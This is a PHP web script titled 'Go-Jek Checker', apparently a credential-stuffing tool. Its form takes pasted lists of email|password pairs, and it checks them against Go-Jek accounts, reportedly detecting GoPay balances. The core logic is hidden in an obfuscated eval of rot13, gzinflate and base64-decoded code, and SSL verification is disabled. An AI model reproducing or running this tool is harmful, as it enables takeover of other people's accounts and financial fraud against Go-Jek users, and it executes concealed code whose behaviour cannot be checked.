PHP Decode

<?php 
/* 
	Go-Jek Checker by 7unk3r 
	Detect GoPay,dll 
*/ 
 
# function general # 
function curl($url, $var = null) { 
    $curl = curl_init($url); 
    curl_setopt($curl, CURLOPT_TIMEOUT, 60); 
    if ($var != null) { 
        curl_setopt($curl, CURLOPT_POST, true); 
        curl_setopt($curl, CURLOPT_POSTFIELDS, $var); 
    } 
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); 
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2); 
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); 
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 
    $result = curl_exec($curl); 
    curl_close($curl); 
    return $result; 
} 
function xflush() { 
	static $output_handler = null; 
	if ($output_handler === null) { 
		$output_handler = @ini_get('output_handler'); 
	} 
	if ($output_handler == 'ob_gzhandler') { 
		return; 
	} 
	flush(); 
	if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) { 
		@ob_flush(); 
		}else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) { 
		@ob_end_flush(); 
		@ob_start(); 
	} 
} 
// SETTING YOUR NAME CHECKER AT HERE! 
$checker = (object) array("name" => "Simfoni Hitam", "tag" => "SMFNHTM13"); 
 
?> 
<!-- Copyright 7unk3r 2k16 --> 
<title> Go-Jek Checker - <?=$checker->name;?> </title> 
<center> 
	<h1>Go-Jek Checker</h1> 
	<form action="http://<?=$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];?>" method="POST"> 
		<textarea name="isi" cols="70" rows="10" placeholder="email|pass"></textarea><br><br> 
		Delim: <input type="text" name="delim" value="|" style="width:2%">&nbsp;&nbsp;<input type="submit" name="hajar" value="check"><br> 
	</form> 
<?php 
 
if (isset($_POST['hajar'])) { 
 
	xflush(); 
 
	$isi = $_POST['isi']; 
	$delim = ($_POST['delim'] == null) ? "|" : $_POST['delim']; 
 
	if (empty($isi)) { 
		echo 'Form empty!!'; 
		exit; 
	} 
 
	$isi = explode("
",$isi); 
 
	eval(str_rot13(gzinflate(base64_decode("bZFRT8MgFIWfu2T/gZDG0oR17871WV/NYuLTQgkw28nobYujbv/dAtVM4xP3Xm6+cw4kXSVAm4GkVlqkJUqdZZCjz+ViuUiS0KEtkkrsBXCnDRAthD6S7PXl6Rlty4zG6uIL+wbzyFd+5H5GyMVZTrOMKmFHEqXyjRdyViqSwqitoymv23wShYa7qgWStuDsSOP6ZjbGde+NmYNwBA9K8fv1uq7rorcnoZnSY6dZ0Rzf12YAcy74wDHFHs+1lFtcBFqB7wLb96GIZtIPWbEJ7o99CyaY8ILxuuncQQ7k24rtEIGRq+O8Ex4vmSiDltZNGPzIzqyqGbqgSSdkLHBspqQBectMkisCJ+Ev5vYPsl2IudMKZEbTkBHEqlS6p8H9qhxln//HjqYTMEOFIrvADydR4rhsKqYsO8Ac7nfW6xc=")))); 
 
} 
 
?> 
</center>